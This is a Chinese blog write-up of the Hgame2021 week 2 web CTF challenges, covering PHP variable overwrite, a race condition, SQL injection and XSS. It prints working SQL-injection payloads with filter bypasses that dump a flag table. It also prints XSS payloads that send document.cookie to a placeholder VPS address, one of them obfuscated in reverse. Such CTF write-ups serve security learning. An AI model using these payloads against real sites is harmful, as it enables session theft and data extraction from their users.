Hgame2021 week2 web

前言

week2的web难度还好,一道变量覆盖,一道SQL注入,一道条件竞争还有一道XSS。因为不会前端。。。XSS没做出来,今天学习一下官方的WP和大师傅们的WP。

LazyDogR4U

存在www.zip,下载下来审一下代码。要想得到flag,需要if($_SESSION['username'] === 'admin'){
但是正常的登录时没法让session那里是admin的,所以这题其实登录不登录没什么用。
注意这里:

$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
    
    
    foreach ($$_request as $_k => $_v){
    
    
        foreach ($filter as $youBadBad){
    
    
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${
    
    $_k} = $_v;
    }
}

存在变量覆盖,有2种姿势,正常的姿势肯定就是双写绕过,把session覆盖了即可。第二种姿势就是foreach分别对get和post进行,get可以把$filter给覆盖掉,然后post就可以随意覆盖session了,两种方式都可以,比较简单。

Liki的生日礼物

条件竞争,拿bp跑一下就可以了,利用点就是最后那一下,正常就是兑换,兑换成功,然后余额扣除,这时候你再兑换就会失败。如果条件竞争,在你最后那一下兑换,如果再兑换的比较快的话,可以在扣除余额之前再兑换一次,就可以多兑换了:
在这里插入图片描述

200OK!!

抓个包看一下,是server.php的status存在SQL注入,官方说的过滤:

['select', 'SELECT', 'from', 'FROM', 'union', 'UNION', 'where',
'WHERE', ' ']

直接大小写绕过即可,空格拿/**/进行绕过即可。具体的直接参考官方WP:

-1'/**/uniOn/**/seLect/**/database();#
# week2sqli
# 得到数据库为 week2sqli
-1'/**/uniOn/**/seLect/**/group_concat(table_name)/**/fRom/**/information_schem
a.tables/**/Where/**/table_schema='week2sqli';#
# f1111111144444444444g,status
# 得到数据库中的所有表名 发现存放 flag 的表名为 f1111111144444444444g
-1'/**/uniOn/**/seLect/**/group_concat(column_name)/**/fRom/**/information_sche
ma.columns/**/Where/**/table_name='f1111111144444444444g'/**/and/**/table_schem
a='week2sqli';#

# ffffff14gggggg
# 得到 flag 的字段名为 ffffff14gggggg
-1'/**/uniOn/**/seLect/**/ffffff14gggggg/**/fRom/**/f1111111144444444444g;#
# hgame{c0n9ratu1aTion5_yoU_FXXK_Up_tH3_5Q1}
# 得到 flag: hgame{c0n9ratu1aTion5_yoU_FXXK_Up_tH3_5Q1}

Post to zuckonit

对于XSS还是太菜了,学习一波。不过这题其实还是挺可惜的,其实我阴差阳错离拿flag只差一步了,但是不知道怎么拿flag。
说一下我的思路吧。首先script会被替换成div,但是我测试发现base会被置换为控,如果构造<scribasept>alert(1)</scribasept>,可以成功弹窗,但是我不知道怎么才能拿cookie,还有那个bot是干啥的我也很迷。。

这题其实就是要拿到管理员的cookie,下面那个6位的md5,填上然后submit后,就相当于是管理员来访问这个页面,所以想办法把cookie弹出来即可。
衔接上我的方式,就是这样:

<sbasecript>window.open("hbasettp://xxx.xxx.xxx.xxx:xxx/"+document.cookie)</scbaseript>

然后submit,vps那边就可以收到cookie。当然了用bp的那个client同样可以收到cookie:
在这里插入图片描述

还有一种方式是利用事件函数onerror之类的,可以发现如果存在on,on左右的内容会被颠倒:

123on456
654on321

所以可以把payload颠倒,然后这样被处理后得到的就是本来的payload:


>")eikooc.tnemucod+'/pi-spv//'(nepo.wodniw"=rorreno 'x'=crs gmi<on

这里ptth也被过滤了,可以利用缺省协议,//来代替http://:

// 是缺省协议,默认使用当前页面的协议。

同样可以弹到cookie,学到了学到了。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113818167
今日推荐